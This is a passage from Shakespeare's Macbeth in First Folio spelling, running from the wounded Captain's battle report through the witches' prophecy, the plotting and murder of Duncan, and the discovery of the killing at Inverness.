Kernes and Gallowgrosses is supply'd, +And Fortune on his damned Quarry smiling, +Shew'd like a Rebells Whore: but all's too weake: +For braue Macbeth (well hee deserues that Name) +Disdayning Fortune, with his brandisht Steele, +Which smoak'd with bloody execution +(Like Valours Minion) caru'd out his passage, +Till hee fac'd the Slaue: +Which neu'r shooke hands, nor bad farwell to him, +Till he vnseam'd him from the Naue toth' Chops, +And fix'd his Head vpon our Battlements + + King. O valiant Cousin, worthy Gentleman + + Cap. As whence the Sunne 'gins his reflection, +Shipwracking Stormes, and direfull Thunders: +So from that Spring, whence comfort seem'd to come, +Discomfort swells: Marke King of Scotland, marke, +No sooner Iustice had, with Valour arm'd, +Compell'd these skipping Kernes to trust their heeles, +But the Norweyan Lord, surueying vantage, +With furbusht Armes, and new supplyes of men, +Began a fresh assault + + King. Dismay'd not this our Captaines, Macbeth and +Banquoh? + Cap. Yes, as Sparrowes, Eagles; +Or the Hare, the Lyon: +If I say sooth, I must report they were +As Cannons ouer-charg'd with double Cracks, +So they doubly redoubled stroakes vpon the Foe: +Except they meant to bathe in reeking Wounds, +Or memorize another Golgotha, +I cannot tell: but I am faint, +My Gashes cry for helpe + + King. So well thy words become thee, as thy wounds, +They smack of Honor both: Goe get him Surgeons. +Enter Rosse and Angus. + +Who comes here? + Mal. The worthy Thane of Rosse + + Lenox. What a haste lookes through his eyes? +So should he looke, that seemes to speake things strange + + Rosse. God saue the King + + King. Whence cam'st thou, worthy Thane? + Rosse. From Fiffe, great King, +Where the Norweyan Banners flowt the Skie, +And fanne our people cold. +Norway himselfe, with terrible numbers, +Assisted by that most disloyall Traytor, +The Thane of Cawdor, began a dismall Conflict, +Till that Bellona's Bridegroome, lapt in proofe, +Confronted him with selfe-comparisons, +Point against Point, rebellious Arme 'gainst Arme, +Curbing his lauish spirit: and to conclude, +The Victorie fell on vs + + King. Great happinesse + + Rosse. That now Sweno, the Norwayes King, +Craues composition: +Nor would we deigne him buriall of his men, +Till he disbursed, at Saint Colmes ynch, +Ten thousand Dollars, to our generall vse + + King. No more that Thane of Cawdor shall deceiue +Our Bosome interest: Goe pronounce his present death, +And with his former Title greet Macbeth + + Rosse. Ile see it done + + King. What he hath lost, Noble Macbeth hath wonne. + +Exeunt. + + +Scena Tertia. + +Thunder. Enter the three Witches. + + 1. Where hast thou beene, Sister? + 2. Killing Swine + + 3. Sister, where thou? + 1. A Saylors Wife had Chestnuts in her Lappe, +And mouncht, & mouncht, and mouncht: +Giue me, quoth I. +Aroynt thee, Witch, the rumpe-fed Ronyon cryes. +Her Husband's to Aleppo gone, Master o'th' Tiger: +But in a Syue Ile thither sayle, +And like a Rat without a tayle, +Ile doe, Ile doe, and Ile doe + + 2. Ile giue thee a Winde + + 1. Th'art kinde + + 3. And I another + + 1. I my selfe haue all the other, +And the very Ports they blow, +All the Quarters that they know, +I'th' Ship-mans Card. +Ile dreyne him drie as Hay: +Sleepe shall neyther Night nor Day +Hang vpon his Pent-house Lid: +He shall liue a man forbid: +Wearie Seu'nights, nine times nine, +Shall he dwindle, peake, and pine: +Though his Barke cannot be lost, +Yet it shall be Tempest-tost. +Looke what I haue + + 2. Shew me, shew me + + 1. Here I haue a Pilots Thumbe, +Wrackt, as homeward he did come. + +Drum within. + + 3. A Drumme, a Drumme: +Macbeth doth come + + All. The weyward Sisters, hand in hand, +Posters of the Sea and Land, +Thus doe goe, about, about, +Thrice to thine, and thrice to mine, +And thrice againe, to make vp nine. +Peace, the Charme's wound vp. +Enter Macbeth and Banquo. + + Macb. So foule and faire a day I haue not seene + + Banquo. How farre is't call'd to Soris? What are these, +So wither'd, and so wilde in their attyre, +That looke not like th' Inhabitants o'th' Earth, +And yet are on't? Liue you, or are you aught +That man may question? you seeme to vnderstand me, +By each at once her choppie finger laying +Vpon her skinnie Lips: you should be Women, +And yet your Beards forbid me to interprete +That you are so + + Mac. Speake if you can: what are you? + 1. All haile Macbeth, haile to thee Thane of Glamis + + 2. All haile Macbeth, haile to thee Thane of Cawdor + + 3. All haile Macbeth, that shalt be King hereafter + + Banq. Good Sir, why doe you start, and seeme to feare +Things that doe sound so faire? i'th' name of truth +Are ye fantasticall, or that indeed +Which outwardly ye shew? My Noble Partner +You greet with present Grace, and great prediction +Of Noble hauing, and of Royall hope, +That he seemes wrapt withall: to me you speake not. +If you can looke into the Seedes of Time, +And say, which Graine will grow, and which will not, +Speake then to me, who neyther begge, nor feare +Your fauors, nor your hate + + 1. Hayle + + 2. Hayle + + 3. Hayle + + 1. Lesser than Macbeth, and greater + + 2. Not so happy, yet much happyer + + 3. Thou shalt get Kings, though thou be none: +So all haile Macbeth, and Banquo + + 1. Banquo, and Macbeth, all haile + + Macb. Stay you imperfect Speakers, tell me more: +By Sinells death, I know I am Thane of Glamis, +But how, of Cawdor? the Thane of Cawdor liues +A prosperous Gentleman: And to be King, +Stands not within the prospect of beleefe, +No more then to be Cawdor. Say from whence +You owe this strange Intelligence, or why +Vpon this blasted Heath you stop our way +With such Prophetique greeting? +Speake, I charge you. + +Witches vanish. + + Banq. The Earth hath bubbles, as the Water ha's, +And these are of them: whither are they vanish'd? + Macb. Into the Ayre: and what seem'd corporall, +Melted, as breath into the Winde. +Would they had stay'd + + Banq. Were such things here, as we doe speake about? +Or haue we eaten on the insane Root, +That takes the Reason Prisoner? + Macb. Your Children shall be Kings + + Banq. You shall be King + + Macb. And Thane of Cawdor too: went it not so? + Banq. Toth' selfe-same tune and words: who's here? +Enter Rosse and Angus. + + Rosse. The King hath happily receiu'd, Macbeth, +The newes of thy successe: and when he reades +Thy personall Venture in the Rebels sight, +His Wonders and his Prayses doe contend, +Which should be thine, or his: silenc'd with that, +In viewing o're the rest o'th' selfe-same day, +He findes thee in the stout Norweyan Rankes, +Nothing afeard of what thy selfe didst make +Strange Images of death, as thick as Tale +Can post with post, and euery one did beare +Thy prayses in his Kingdomes great defence, +And powr'd them downe before him + + Ang. Wee are sent, +To giue thee from our Royall Master thanks, +Onely to harrold thee into his sight, +Not pay thee + + Rosse. And for an earnest of a greater Honor, +He bad me, from him, call thee Thane of Cawdor: +In which addition, haile most worthy Thane, +For it is thine + + Banq. What, can the Deuill speake true? + Macb. The Thane of Cawdor liues: +Why doe you dresse me in borrowed Robes? + Ang. Who was the Thane, liues yet, +But vnder heauie Iudgement beares that Life, +Which he deserues to loose. +Whether he was combin'd with those of Norway, +Or did lyne the Rebell with hidden helpe, +And vantage; or that with both he labour'd +In his Countreyes wracke, I know not: +But Treasons Capitall, confess'd, and prou'd, +Haue ouerthrowne him + + Macb. Glamys, and Thane of Cawdor: +The greatest is behinde. Thankes for your paines. +Doe you not hope your Children shall be Kings, +When those that gaue the Thane of Cawdor to me, +Promis'd no lesse to them + + Banq. That trusted home, +Might yet enkindle you vnto the Crowne, +Besides the Thane of Cawdor. But 'tis strange: +And oftentimes, to winne vs to our harme, +The Instruments of Darknesse tell vs Truths, +Winne vs with honest Trifles, to betray's +In deepest consequence. +Cousins, a word, I pray you + + Macb. Two Truths are told, +As happy Prologues to the swelling Act +Of the Imperiall Theame. I thanke you Gentlemen: +This supernaturall solliciting +Cannot be ill; cannot be good. +If ill? why hath it giuen me earnest of successe, +Commencing in a Truth? I am Thane of Cawdor. +If good? why doe I yeeld to that suggestion, +Whose horrid Image doth vnfixe my Heire, +And make my seated Heart knock at my Ribbes, +Against the vse of Nature? Present Feares +Are lesse then horrible Imaginings: +My Thought, whose Murther yet is but fantasticall, +Shakes so my single state of Man, +That Function is smother'd in surmise, +And nothing is, but what is not + + Banq. Looke how our Partner's rapt + + Macb. If Chance will haue me King, +Why Chance may Crowne me, +Without my stirre + + Banq. New Honors come vpon him +Like our strange Garments, cleaue not to their mould, +But with the aid of vse + + Macb. Come what come may, +Time, and the Houre, runs through the roughest Day + + Banq. Worthy Macbeth, wee stay vpon your leysure + + Macb. Giue me your fauour: +My dull Braine was wrought with things forgotten. +Kinde Gentlemen, your paines are registred, +Where euery day I turne the Leafe, +To reade them. +Let vs toward the King: thinke vpon +What hath chanc'd: and at more time, +The Interim hauing weigh'd it, let vs speake +Our free Hearts each to other + + Banq. Very gladly + + Macb. Till then enough: +Come friends. + +Exeunt. + + +Scena Quarta. + +Flourish. Enter King, Lenox, Malcolme, Donalbaine, and +Attendants. + + King. Is execution done on Cawdor? +Or not those in Commission yet return'd? + Mal. My Liege, they are not yet come back. +But I haue spoke with one that saw him die: +Who did report, that very frankly hee +Confess'd his Treasons, implor'd your Highnesse Pardon, +And set forth a deepe Repentance: +Nothing in his Life became him, +Like the leauing it. Hee dy'de, +As one that had beene studied in his death, +To throw away the dearest thing he ow'd, +As 'twere a carelesse Trifle + + King. There's no Art, +To finde the Mindes construction in the Face. +He was a Gentleman, on whom I built +An absolute Trust. +Enter Macbeth, Banquo, Rosse, and Angus. + +O worthyest Cousin, +The sinne of my Ingratitude euen now +Was heauie on me. Thou art so farre before, +That swiftest Wing of Recompence is slow, +To ouertake thee. Would thou hadst lesse deseru'd, +That the proportion both of thanks, and payment, +Might haue beene mine: onely I haue left to say, +More is thy due, then more then all can pay + + Macb. The seruice, and the loyaltie I owe, +In doing it, payes it selfe. +Your Highnesse part, is to receiue our Duties: +And our Duties are to your Throne, and State, +Children, and Seruants; which doe but what they should, +By doing euery thing safe toward your Loue +And Honor + + King. Welcome hither: +I haue begun to plant thee, and will labour +To make thee full of growing. Noble Banquo, +That hast no lesse deseru'd, nor must be knowne +No lesse to haue done so: Let me enfold thee, +And hold thee to my Heart + + Banq. There if I grow, +The Haruest is your owne + + King. My plenteous Ioyes, +Wanton in fulnesse, seeke to hide themselues +In drops of sorrow. Sonnes, Kinsmen, Thanes, +And you whose places are the nearest, know, +We will establish our Estate vpon +Our eldest, Malcolme, whom we name hereafter, +The Prince of Cumberland: which Honor must +Not vnaccompanied, inuest him onely, +But signes of Noblenesse, like Starres, shall shine +On all deseruers. From hence to Envernes, +And binde vs further to you + + Macb. The Rest is Labor, which is not vs'd for you: +Ile be my selfe the Herbenger, and make ioyfull +The hearing of my Wife, with your approach: +So humbly take my leaue + + King. My worthy Cawdor + + Macb. The Prince of Cumberland: that is a step, +On which I must fall downe, or else o're-leape, +For in my way it lyes. Starres hide your fires, +Let not Light see my black and deepe desires: +The Eye winke at the Hand: yet let that bee, +Which the Eye feares, when it is done to see. +Enter. + + King. True worthy Banquo: he is full so valiant, +And in his commendations, I am fed: +It is a Banquet to me. Let's after him, +Whose care is gone before, to bid vs welcome: +It is a peerelesse Kinsman. + +Flourish. Exeunt. + + +Scena Quinta. + +Enter Macbeths Wife alone with a Letter. + + Lady. They met me in the day of successe: and I haue +learn'd by the perfect'st report, they haue more in them, then +mortall knowledge. When I burnt in desire to question them +further, they made themselues Ayre, into which they vanish'd. +Whiles I stood rapt in the wonder of it, came Missiues from +the King, who all-hail'd me Thane of Cawdor, by which Title +before, these weyward Sisters saluted me, and referr'd me to +the comming on of time, with haile King that shalt be. This +haue I thought good to deliuer thee (my dearest Partner of +Greatnesse) that thou might'st not loose the dues of reioycing +by being ignorant of what Greatnesse is promis'd thee. Lay +it to thy heart and farewell. +Glamys thou art, and Cawdor, and shalt be +What thou art promis'd: yet doe I feare thy Nature, +It is too full o'th' Milke of humane kindnesse, +To catch the neerest way. Thou would'st be great, +Art not without Ambition, but without +The illnesse should attend it. What thou would'st highly, +That would'st thou holily: would'st not play false, +And yet would'st wrongly winne. +Thould'st haue, great Glamys, that which cryes, +Thus thou must doe, if thou haue it; +And that which rather thou do'st feare to doe, +Then wishest should be vndone. High thee hither, +That I may powre my Spirits in thine Eare, +And chastise with the valour of my Tongue +All that impeides thee from the Golden Round, +Which Fate and Metaphysicall ayde doth seeme +To haue thee crown'd withall. +Enter Messenger. + +What is your tidings? + Mess. The King comes here to Night + + Lady. Thou'rt mad to say it. +Is not thy Master with him? who, wer't so, +Would haue inform'd for preparation + + Mess. So please you, it is true: our Thane is comming: +One of my fellowes had the speed of him; +Who almost dead for breath, had scarcely more +Then would make vp his Message + + Lady. Giue him tending, +He brings great newes, + +Exit Messenger. + +The Rauen himselfe is hoarse, +That croakes the fatall entrance of Duncan +Vnder my Battlements. Come you Spirits, +That tend on mortall thoughts, vnsex me here, +And fill me from the Crowne to the Toe, top-full +Of direst Crueltie: make thick my blood, +Stop vp th' accesse, and passage to Remorse, +That no compunctious visitings of Nature +Shake my fell purpose, nor keepe peace betweene +Th' effect, and hit. Come to my Womans Brests, +And take my Milke for Gall, you murth'ring Ministers, +Where-euer, in your sightlesse substances, +You wait on Natures Mischiefe. Come thick Night, +And pall thee in the dunnest smoake of Hell, + +That my keene Knife see not the Wound it makes, +Nor Heauen peepe through the Blanket of the darke, +To cry, hold, hold. +Enter Macbeth. + +Great Glamys, worthy Cawdor, +Greater then both, by the all-haile hereafter, +Thy Letters haue transported me beyond +This ignorant present, and I feele now +The future in the instant + + Macb. My dearest Loue, +Duncan comes here to Night + + Lady. And when goes hence? + Macb. To morrow, as he purposes + + Lady. O neuer, +Shall Sunne that Morrow see. +Your Face, my Thane, is as a Booke, where men +May reade strange matters, to beguile the time. +Looke like the time, beare welcome in your Eye, +Your Hand, your Tongue: looke like th' innocent flower, +But be the Serpent vnder't. He that's comming, +Must be prouided for: and you shall put +This Nights great Businesse into my dispatch, +Which shall to all our Nights, and Dayes to come, +Giue solely soueraigne sway, and Masterdome + + Macb. We will speake further, + Lady. Onely looke vp cleare: +To alter fauor, euer is to feare: +Leaue all the rest to me. + +Exeunt. + + +Scena Sexta. + +Hoboyes, and Torches. Enter King, Malcolme, Donalbaine, +Banquo, Lenox, +Macduff, Rosse, Angus, and Attendants. + + King. This Castle hath a pleasant seat, +The ayre nimbly and sweetly recommends it selfe +Vnto our gentle sences + + Banq. This Guest of Summer, +The Temple-haunting Barlet does approue, +By his loued Mansonry, that the Heauens breath +Smells wooingly here: no Iutty frieze, +Buttrice, nor Coigne of Vantage, but this Bird +Hath made his pendant Bed, and procreant Cradle, +Where they must breed, and haunt: I haue obseru'd +The ayre is delicate. +Enter Lady. + + King. See, see our honor'd Hostesse: +The Loue that followes vs, sometime is our trouble, +Which still we thanke as Loue. Herein I teach you, +How you shall bid God-eyld vs for your paines, +And thanke vs for your trouble + + Lady. All our seruice, +In euery point twice done, and then done double, +Were poore, and single Businesse, to contend +Against those Honors deepe, and broad, +Wherewith your Maiestie loades our House: +For those of old, and the late Dignities, +Heap'd vp to them, we rest your Ermites + + King. Where's the Thane of Cawdor? +We courst him at the heeles, and had a purpose +To be his Purueyor: But he rides well, +And his great Loue (sharpe as his Spurre) hath holp him +To his home before vs: Faire and Noble Hostesse +We are your guest to night + + La. Your Seruants euer, +Haue theirs, themselues, and what is theirs in compt, +To make their Audit at your Highnesse pleasure, +Still to returne your owne + + King. Giue me your hand: +Conduct me to mine Host we loue him highly, +And shall continue, our Graces towards him. +By your leaue Hostesse. + +Exeunt. + +Scena Septima. + +Hoboyes. Torches. Enter a Sewer, and diuers Seruants with Dishes +and +Seruice ouer the Stage. Then enter Macbeth + + Macb. If it were done, when 'tis done, then 'twer well, +It were done quickly: If th' Assassination +Could trammell vp the Consequence, and catch +With his surcease, Successe: that but this blow +Might be the be all, and the end all. Heere, +But heere, vpon this Banke and Schoole of time, +Wee'ld iumpe the life to come. But in these Cases, +We still haue iudgement heere, that we but teach +Bloody Instructions, which being taught, returne +To plague th' Inuenter, this euen-handed Iustice +Commends th' Ingredience of our poyson'd Challice +To our owne lips. Hee's heere in double trust; +First, as I am his Kinsman, and his Subiect, +Strong both against the Deed: Then, as his Host, +Who should against his Murtherer shut the doore, +Not beare the knife my selfe. Besides, this Duncane +Hath borne his Faculties so meeke; hath bin +So cleere in his great Office, that his Vertues +Will pleade like Angels, Trumpet-tongu'd against +The deepe damnation of his taking off: +And Pitty, like a naked New-borne-Babe, +Striding the blast, or Heauens Cherubin, hors'd +Vpon the sightlesse Curriors of the Ayre, +Shall blow the horrid deed in euery eye, +That teares shall drowne the winde. I haue no Spurre +To pricke the sides of my intent, but onely +Vaulting Ambition, which ore-leapes it selfe, +And falles on th' other. +Enter Lady. + +How now? What Newes? + La. He has almost supt: why haue you left the chamber? + Mac. Hath he ask'd for me? + La. Know you not, he ha's? + Mac. We will proceed no further in this Businesse: +He hath Honour'd me of late, and I haue bought +Golden Opinions from all sorts of people, +Which would be worne now in their newest glosse, +Not cast aside so soone + + La. Was the hope drunke, +Wherein you drest your selfe? Hath it slept since? +And wakes it now to looke so greene, and pale, +At what it did so freely? From this time, +Such I account thy loue. Art thou affear'd +To be the same in thine owne Act, and Valour, +As thou art in desire? Would'st thou haue that +Which thou esteem'st the Ornament of Life, +And liue a Coward in thine owne Esteeme? +Letting I dare not, wait vpon I would, +Like the poore Cat i'th' Addage + + Macb. Prythee peace: +I dare do all that may become a man, +Who dares do more, is none + + La. What Beast was't then +That made you breake this enterprize to me? +When you durst do it, then you were a man: +And to be more then what you were, you would +Be so much more the man. Nor time, nor place +Did then adhere, and yet you would make both: +They haue made themselues, and that their fitnesse now +Do's vnmake you. I haue giuen Sucke, and know +How tender 'tis to loue the Babe that milkes me, +I would, while it was smyling in my Face, +Haue pluckt my Nipple from his Bonelesse Gummes, +And dasht the Braines out, had I so sworne +As you haue done to this + + Macb. If we should faile? + Lady. We faile? +But screw your courage to the sticking place, +And wee'le not fayle: when Duncan is asleepe, +(Whereto the rather shall his dayes hard Iourney +Soundly inuite him) his two Chamberlaines +Will I with Wine, and Wassell, so conuince, +That Memorie, the Warder of the Braine, +Shall be a Fume, and the Receit of Reason +A Lymbeck onely: when in Swinish sleepe, +Their drenched Natures lyes as in a Death, +What cannot you and I performe vpon +Th' vnguarded Duncan? What not put vpon +His spungie Officers? who shall beare the guilt +Of our great quell + + Macb. Bring forth Men-Children onely: +For thy vndaunted Mettle should compose +Nothing but Males. Will it not be receiu'd, +When we haue mark'd with blood those sleepie two +Of his owne Chamber, and vs'd their very Daggers, +That they haue don't? + Lady. Who dares receiue it other, +As we shall make our Griefes and Clamor rore, +Vpon his Death? + Macb. I am settled, and bend vp +Each corporall Agent to this terrible Feat. +Away, and mock the time with fairest show, +False Face must hide what the false Heart doth know. + +Exeunt. + + +Actus Secundus. Scena Prima. + +Enter Banquo, and Fleance, with a Torch before him. + + Banq. How goes the Night, Boy? + Fleance. The Moone is downe: I haue not heard the +Clock + + Banq. And she goes downe at Twelue + + Fleance. I take't, 'tis later, Sir + + Banq. Hold, take my Sword: +There's Husbandry in Heauen, +Their Candles are all out: take thee that too. +A heauie Summons lyes like Lead vpon me, +And yet I would not sleepe: +Mercifull Powers, restraine in me the cursed thoughts +That Nature giues way to in repose. +Enter Macbeth, and a Seruant with a Torch. + +Giue me my Sword: who's there? + Macb. A Friend + + Banq. What Sir, not yet at rest? the King's a bed. +He hath beene in vnusuall Pleasure, +And sent forth great Largesse to your Offices. +This Diamond he greetes your Wife withall, +By the name of most kind Hostesse, +And shut vp in measurelesse content + + Mac. Being vnprepar'd, +Our will became the seruant to defect, +Which else should free haue wrought + + Banq. All's well. +I dreamt last Night of the three weyward Sisters: +To you they haue shew'd some truth + + Macb. I thinke not of them: +Yet when we can entreat an houre to serue, +We would spend it in some words vpon that Businesse, +If you would graunt the time + + Banq. At your kind'st leysure + + Macb. If you shall cleaue to my consent, +When 'tis, it shall make Honor for you + + Banq. So I lose none, +In seeking to augment it, but still keepe +My Bosome franchis'd, and Allegeance cleare, +I shall be counsail'd + + Macb. Good repose the while + + Banq. Thankes Sir: the like to you. + +Exit Banquo. + + Macb. Goe bid thy Mistresse, when my drinke is ready, +She strike vpon the Bell. Get thee to bed. +Enter. + +Is this a Dagger, which I see before me, +The Handle toward my Hand? Come, let me clutch thee: +I haue thee not, and yet I see thee still. +Art thou not fatall Vision, sensible +To feeling, as to sight? or art thou but +A Dagger of the Minde, a false Creation, +Proceeding from the heat-oppressed Braine? +I see thee yet, in forme as palpable, +As this which now I draw. +Thou marshall'st me the way that I was going, +And such an Instrument I was to vse. +Mine Eyes are made the fooles o'th' other Sences, +Or else worth all the rest: I see thee still; +And on thy Blade, and Dudgeon, Gouts of Blood, +Which was not so before. There's no such thing: +It is the bloody Businesse, which informes +Thus to mine Eyes. Now o're the one halfe World +Nature seemes dead, and wicked Dreames abuse +The Curtain'd sleepe: Witchcraft celebrates +Pale Heccats Offrings: and wither'd Murther, +Alarum'd by his Centinell, the Wolfe, +Whose howle's his Watch, thus with his stealthy pace, +With Tarquins rauishing sides, towards his designe +Moues like a Ghost. Thou sowre and firme-set Earth +Heare not my steps, which they may walke, for feare +Thy very stones prate of my where-about, +And take the present horror from the time, +Which now sutes with it. Whiles I threat, he liues: +Words to the heat of deedes too cold breath giues. + +A Bell rings. + +I goe, and it is done: the Bell inuites me. +Heare it not, Duncan, for it is a Knell, +That summons thee to Heauen, or to Hell. +Enter. + + +Scena Secunda. + +Enter Lady. + + La. That which hath made the[m] drunk, hath made me bold: +What hath quench'd them, hath giuen me fire. +Hearke, peace: it was the Owle that shriek'd, +The fatall Bell-man, which giues the stern'st good-night. +He is about it, the Doores are open: +And the surfeted Groomes doe mock their charge +With Snores. I haue drugg'd their Possets, +That Death and Nature doe contend about them, +Whether they liue, or dye. +Enter Macbeth. + + Macb. Who's there? what hoa? + Lady. Alack, I am afraid they haue awak'd, +And 'tis not done: th' attempt, and not the deed, +Confounds vs: hearke: I lay'd their Daggers ready, +He could not misse 'em. Had he not resembled +My Father as he slept, I had don't. +My Husband? + Macb. I haue done the deed: +Didst thou not heare a noyse? + Lady. I heard the Owle schreame, and the Crickets cry. +Did not you speake? + Macb. When? + Lady. Now + + Macb. As I descended? + Lady. I + + Macb. Hearke, who lyes i'th' second Chamber? + Lady. Donalbaine + + Mac. This is a sorry sight + + Lady. A foolish thought, to say a sorry sight + + Macb. There's one did laugh in's sleepe, +And one cry'd Murther, that they did wake each other: +I stood, and heard them: But they did say their Prayers, +And addrest them againe to sleepe + + Lady. There are two lodg'd together + + Macb. One cry'd God blesse vs, and Amen the other, +As they had seene me with these Hangmans hands: +Listning their feare, I could not say Amen, +When they did say God blesse vs + + Lady. Consider it not so deepely + + Mac. But wherefore could not I pronounce Amen? +I had most need of Blessing, and Amen stuck in my throat + + Lady. These deeds must not be thought +After these wayes: so, it will make vs mad + + Macb. Me thought I heard a voyce cry, Sleep no more: +Macbeth does murther Sleepe, the innocent Sleepe, +Sleepe that knits vp the rauel'd Sleeue of Care, +The death of each dayes Life, sore Labors Bath, +Balme of hurt Mindes, great Natures second Course, +Chiefe nourisher in Life's Feast + + Lady. What doe you meane? + Macb. Still it cry'd, Sleepe no more to all the House: +Glamis hath murther'd Sleepe, and therefore Cawdor +Shall sleepe no more: Macbeth shall sleepe no more + + Lady. Who was it, that thus cry'd? why worthy Thane, +You doe vnbend your Noble strength, to thinke +So braine-sickly of things: Goe get some Water, +And wash this filthie Witnesse from your Hand. +Why did you bring these Daggers from the place? +They must lye there: goe carry them, and smeare +The sleepie Groomes with blood + + Macb. Ile goe no more: +I am afraid, to thinke what I haue done: +Looke on't againe, I dare not + + Lady. Infirme of purpose: +Giue me the Daggers: the sleeping, and the dead, +Are but as Pictures: 'tis the Eye of Childhood, +That feares a painted Deuill. If he doe bleed, +Ile guild the Faces of the Groomes withall, +For it must seeme their Guilt. +Enter. + +Knocke within. + + Macb. Whence is that knocking? +How is't with me, when euery noyse appalls me? +What Hands are here? hah: they pluck out mine Eyes. +Will all great Neptunes Ocean wash this blood +Cleane from my Hand? no: this my Hand will rather +The multitudinous Seas incarnardine, +Making the Greene one, Red. +Enter Lady. + + Lady. My Hands are of your colour: but I shame +To weare a Heart so white. + +Knocke. + +I heare a knocking at the South entry: +Retyre we to our Chamber: +A little Water cleares vs of this deed. +How easie is it then? your Constancie +Hath left you vnattended. + +Knocke. + +Hearke, more knocking. +Get on your Night-Gowne, least occasion call vs, +And shew vs to be Watchers: be not lost +So poorely in your thoughts + + Macb. To know my deed, + +Knocke. + +'Twere best not know my selfe. +Wake Duncan with thy knocking: +I would thou could'st. + +Exeunt. + + +Scena Tertia. + +Enter a Porter. Knocking within. + + Porter. Here's a knocking indeede: if a man were +Porter of Hell Gate, hee should haue old turning the +Key. + +Knock. + +Knock, Knock, Knock. Who's there +i'th' name of Belzebub? Here's a Farmer, that hang'd +himselfe on th' expectation of Plentie: Come in time, haue +Napkins enow about you, here you'le sweat for't. + +Knock. + +Knock, knock. Who's there in th' other Deuils Name? +Faith here's an Equiuocator, that could sweare in both +the Scales against eyther Scale, who committed Treason +enough for Gods sake, yet could not equiuocate to Heauen: +oh come in, Equiuocator. + +Knock. + +Knock, Knock, Knock. Who's there? 'Faith here's an English +Taylor come hither, for stealing out of a French Hose: +Come in Taylor, here you may rost your Goose. +Knock. + +Knock, Knock. Neuer at quiet: What are you? but this +place is too cold for Hell. Ile Deuill-Porter it no further: +I had thought to haue let in some of all Professions, that +goe the Primrose way to th' euerlasting Bonfire. + +Knock. + +Anon, anon, I pray you remember the Porter. +Enter Macduff, and Lenox. + + Macd. Was it so late, friend, ere you went to Bed, +That you doe lye so late? + Port. Faith Sir, we were carowsing till the second Cock: +And Drinke, Sir, is a great prouoker of three things + + Macd. What three things does Drinke especially +prouoke? + Port. Marry, Sir, Nose-painting, Sleepe, and Vrine. +Lecherie, Sir, it prouokes, and vnprouokes: it prouokes +the desire, but it takes away the performance. Therefore +much Drinke may be said to be an Equiuocator with Lecherie: +it makes him, and it marres him; it sets him on, +and it takes him off; it perswades him, and dis-heartens +him; makes him stand too, and not stand too: in conclusion, +equiuocates him in a sleepe, and giuing him the Lye, +leaues him + + Macd. I beleeue, Drinke gaue thee the Lye last Night + + Port. That it did, Sir, i'the very Throat on me: but I +requited him for his Lye, and (I thinke) being too strong +for him, though he tooke vp my Legges sometime, yet I +made a Shift to cast him. +Enter Macbeth. + + Macd. Is thy Master stirring? +Our knocking ha's awak'd him: here he comes + + Lenox. Good morrow, Noble Sir + + Macb. Good morrow both + + Macd. Is the King stirring, worthy Thane? + Macb. Not yet + + Macd. He did command me to call timely on him, +I haue almost slipt the houre + + Macb. Ile bring you to him + + Macd. I know this is a ioyfull trouble to you: +But yet 'tis one + + Macb. The labour we delight in, Physicks paine: +This is the Doore + + Macd. Ile make so bold to call, for 'tis my limitted +seruice. + +Exit Macduffe. + + Lenox. Goes the King hence to day? + Macb. He does: he did appoint so + + Lenox. The Night ha's been vnruly: +Where we lay, our Chimneys were blowne downe, +And (as they say) lamentings heard i'th' Ayre; +Strange Schreemes of Death, +And Prophecying, with Accents terrible, +Of dyre Combustion, and confus'd Euents, +New hatch'd toth' wofull time. +The obscure Bird clamor'd the liue-long Night. +Some say, the Earth was Feuorous, +And did shake + + Macb. 'Twas a rough Night + + Lenox. My young remembrance cannot paralell +A fellow to it. +Enter Macduff. + + Macd. O horror, horror, horror, +Tongue nor Heart cannot conceiue, nor name thee + + Macb. and Lenox. What's the matter? + Macd. Confusion now hath made his Master-peece: +Most sacrilegious Murther hath broke ope +The Lords anoynted Temple, and stole thence +The Life o'th' Building + + Macb. What is't you say, the Life? + Lenox. Meane you his Maiestie? + Macd. Approch the Chamber, and destroy your sight +With a new Gorgon. Doe not bid me speake: +See, and then speake your selues: awake, awake, + +Exeunt. Macbeth and Lenox. + +Ring the Alarum Bell: Murther, and Treason, +Banquo, and Donalbaine: Malcolme awake, +Shake off this Downey sleepe, Deaths counterfeit, +And looke on Death it selfe: vp, vp, and see +The great Doomes Image: Malcolme, Banquo, +As from your Graues rise vp, and walke like Sprights, +To countenance this horror. Ring the Bell. + +Bell rings. Enter Lady. + + Lady. What's the Businesse? +That such a hideous Trumpet calls to parley +The sleepers of the House? speake, speake + + Macd. O gentle Lady, +'Tis not for you to heare what I can speake: +The repetition in a Womans eare, +Would murther as it fell. +Enter Banquo. + +O Banquo, Banquo, Our Royall Master's murther'd + + Lady. Woe, alas: +What, in our House? + Ban. Too cruell, any where. +Deare Duff, I prythee contradict thy selfe, +And say, it is not so. +Enter Macbeth, Lenox, and Rosse. + + Macb. Had I but dy'd an houre before this chance, +I had liu'd a blessed time: for from this instant, +There's nothing serious in Mortalitie: +All is but Toyes: Renowne and Grace is dead, +The Wine of Life is drawne, and the meere Lees +Is left this Vault, to brag of. +Enter Malcolme and Donalbaine. + + Donal. What is amisse? + Macb. You are, and doe not know't: +The Spring, the Head, the Fountaine of your Blood +Is stopt, the very Source of it is stopt + + Macd. Your Royall Father's murther'd + + Mal. Oh, by whom? + Lenox. Those of his Chamber, as it seem'd, had don't: +Their Hands and Faces were all badg'd with blood, +So were their Daggers, which vnwip'd, we found +Vpon their Pillowes: they star'd, and were distracted, +No mans Life was to be trusted with them + + Macb. O, yet I doe repent me of my furie, +That I did kill them + + Macd. Wherefore did you so? + Macb. Who can be wise, amaz'd, temp'rate, & furious, +Loyall, and Neutrall, in a moment? No man: +Th' expedition of my violent Loue +Out-run the pawser, Reason. Here lay Duncan, +His Siluer skinne, lac'd with His Golden Blood, +And his gash'd Stabs, look'd like a Breach in Nature, +For Ruines wastfull entrance: there the Murtherers, +Steep'd in the Colours of their Trade; their Daggers +Vnmannerly breech'd with gore: who could refraine, +That had a heart to loue; and in that heart, +Courage, to make's loue knowne? + Lady. Helpe me hence, hoa + + Macd. Looke to the Lady + + Mal. Why doe we hold our tongues, +That most may clayme this argument for ours? + Donal. What should be spoken here, +Where our Fate hid in an augure hole, +May rush, and seize vs? Let's away, +Our Teares are not yet brew'd + + Mal. Nor our strong Sorrow +Vpon the foot of Motion + + Banq. Looke to the Lady: +And when we haue our naked Frailties hid, +That suffer in exposure; let vs meet, +And question this most bloody piece of worke, +To know it further. Feares and scruples shake vs: +In the great Hand of God I stand, and thence, +Against the vndivulg'd pretence, I fight +Of Treasonous Mallice + + 